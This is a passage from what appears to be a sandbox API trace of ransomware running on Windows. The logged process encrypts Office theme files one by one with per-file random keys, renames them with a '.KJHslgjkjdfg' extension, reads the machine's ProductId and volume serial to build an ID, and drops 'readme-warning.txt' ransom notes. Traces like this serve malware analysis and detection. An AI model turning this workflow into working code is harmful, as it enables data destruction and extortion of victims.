lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.661] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.661] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.661] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.661] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.661] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.661] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.661] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1400, lpOverlapped=0x0) returned 1 [0172.662] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1400, dwBufLen=0x1400 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1400) returned 1 [0172.662] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.662] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1400, lpOverlapped=0x0) returned 1 [0172.663] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.663] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x14d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.663] SetEndOfFile (hFile=0x12c) returned 1 [0172.666] GetProcessHeap () returned 0x990000 [0172.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.666] GetProcessHeap () returned 0x990000 [0172.666] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.668] CloseHandle (hObject=0x12c) returned 1 [0172.668] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.668] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.669] GetProcessHeap () returned 0x990000 [0172.669] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.669] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.670] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.670] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xc, lpOverlapped=0x0) returned 1 [0172.672] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.672] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.672] GetProcessHeap () returned 0x990000 [0172.672] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.672] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.672] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.672] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.672] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.672] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.673] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.673] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.673] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.673] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.673] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xed34, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xed34, lpOverlapped=0x0) returned 1 [0172.675] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xed40, dwBufLen=0xed40 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xed40) returned 1 [0172.675] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.675] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xed40, lpOverlapped=0x0) returned 1 [0172.676] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.676] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xee14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.676] SetEndOfFile (hFile=0x12c) returned 1 [0172.680] GetProcessHeap () returned 0x990000 [0172.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.680] GetProcessHeap () returned 0x990000 [0172.680] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.680] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.684] CloseHandle (hObject=0x12c) returned 1 [0172.684] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xed34, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.684] GetProcessHeap () returned 0x990000 [0172.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.684] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.684] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.684] GetProcessHeap () returned 0x990000 [0172.684] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.684] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.684] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.684] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.685] GetProcessHeap () returned 0x990000 [0172.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0172.685] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.685] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0172.685] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.685] GetProcessHeap () returned 0x990000 [0172.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.685] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.685] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.685] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.685] GetProcessHeap () returned 0x990000 [0172.685] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.685] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.685] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.685] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.685] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.686] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.686] RegCloseKey (hKey=0x12c) returned 0x0 [0172.686] GetProcessHeap () returned 0x990000 [0172.686] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.686] GetProcessHeap () returned 0x990000 [0172.686] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.686] GetProcessHeap () returned 0x990000 [0172.686] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.686] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.686] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.686] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.686] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.686] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.687] GetProcessHeap () returned 0x990000 [0172.687] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.687] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.687] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.687] GetProcessHeap () returned 0x990000 [0172.687] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.687] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\readme-warning.txt") returned 83 [0172.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.688] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.690] CloseHandle (hObject=0x12c) returned 1 [0172.691] GetProcessHeap () returned 0x990000 [0172.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0172.691] GetProcessHeap () returned 0x990000 [0172.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0172.691] GetProcessHeap () returned 0x990000 [0172.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0172.691] GetProcessHeap () returned 0x990000 [0172.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.691] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0172.691] GetProcessHeap () returned 0x990000 [0172.691] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0172.691] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE", cAlternateFileName="")) returned 1 [0172.691] GetProcessHeap () returned 0x990000 [0172.691] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x88) returned 0x9b0940 [0172.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0172.693] GetProcessHeap () returned 0x990000 [0172.693] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0172.693] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.693] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ee600, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35ee600, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x109d0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE.ELM", cAlternateFileName="")) returned 1 [0172.693] GetProcessHeap () returned 0x990000 [0172.693] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x28a) returned 0x9b1eb0 [0172.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.696] GetProcessHeap () returned 0x990000 [0172.696] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.696] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.696] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.696] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.696] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.696] GetProcessHeap () returned 0x990000 [0172.696] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0172.696] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29defd0*=0x30) returned 1 [0172.696] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.696] WriteFile (in: hFile=0x12c, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29defe8*=0x30, lpOverlapped=0x0) returned 1 [0172.699] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.699] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.699] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.699] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.699] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.699] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.699] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.699] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.699] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x109d0, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x109d0, lpOverlapped=0x0) returned 1 [0172.701] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x109d0, dwBufLen=0x109d0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x109d0) returned 1 [0172.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.702] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x109d0, lpOverlapped=0x0) returned 1 [0172.702] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x10a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.702] SetEndOfFile (hFile=0x12c) returned 1 [0172.705] GetProcessHeap () returned 0x990000 [0172.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0172.705] GetProcessHeap () returned 0x990000 [0172.705] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.706] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.kjhslgjkjdfg")) returned 1 [0172.706] CloseHandle (hObject=0x12c) returned 1 [0172.707] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ICE.INF", cAlternateFileName="")) returned 1 [0172.707] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.707] GetProcessHeap () returned 0x990000 [0172.707] RtlAllocateHeap (HeapHandle=0x990000, 